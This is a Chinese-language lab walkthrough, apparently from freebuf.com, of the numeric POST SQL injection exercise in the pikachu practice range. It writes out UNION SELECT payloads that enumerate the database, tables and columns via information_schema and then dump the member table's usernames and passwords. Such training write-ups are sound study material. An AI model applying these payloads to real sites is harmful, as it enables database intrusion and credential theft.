pikachu靶场-Sql Inject(SQL注入)-数字型注入(POST) – 作者:知非知非知非

1626740356_60f61684d7f7075fea699.png!small

先搜索一个1,在抓包分析一下:

1626740361_60f6168964b8f46109005.png!small

发现请求方式是POST,无法构造URL,只能通过改包尝试!!!

1626740367_60f6168fd74685fd6c91b.png!small

把这个报文发送到REPEATER中,我们开始尝试参数!!!

首先,由于是数字型参数,就不需要加单引号或者双引号,咱们直接先直接发送一次,再构造发送一次!!!

直接发送:

1626740375_60f616970c3ca7928c43c.png!small

1626740384_60f616a00cea68857af76.png!small

构造后发送!!发现所有的信息都输出出来,证明or 2=2,正常执行,存在SQL漏洞,接下来,咱们接着构造

1626740394_60f616aaac8a7c2a5f59d.png!small

1626740412_60f616bc28cba7e8a3fea.png!small

当构造PAYLOAD 到3时,出现报错信息,证明当前表格,只有两列!!!!

1626740419_60f616c3bca4a90b4c0f3.png!small

1626740426_60f616ca1deb02608d724.png!small

接着构造!这里后面没有引号或其他数据,所以不需要注释将后面的内容注释掉!!!

可以看到1和2,两个输出数字,接下来,我们把1和2更换为SQL语句!!!

构造语句为:id=-1 union select 1 database()

1626740434_60f616d20a284bc1f14d3.png!small

1626740440_60f616d849d347ec1576c.png!small

1626740446_60f616de84265d5e31261.png!small

我们通过以上的语句,可以看到,当前的数据库名为pikachu,接着我们查询当前数据库下的表名。

构造语句:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’pikachu’

1626740454_60f616e666cb35645b9a4.png!small

1626740459_60f616eb7901f9d3413c4.png!small

查询到的数据库包含的表名称为:httpinfo,member,message,xssblind

接下来,我们通过构造发现表member中的所以列的名称!!!

构造语句:union select 1,group_concat(column_name) from information_schema.columns where table_name=’member’

1626740467_60f616f3ee62c6ce047c7.png!small

1626740473_60f616f9b87ba04870f83.png!small

可以考到列中比较有参考价值的为username和pw 两个字段!!!所以我们来爆破他们!!!

构造payload:union select username,pw from member

1626740481_60f61701cd8c008315347.png!small

1626740489_60f61709577c8c1d449f4.png!small

所有的用户名和密码对已经获得,结束!!!

来源:freebuf.com 2021-07-20 08:22:22 by: 知非知非知非

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论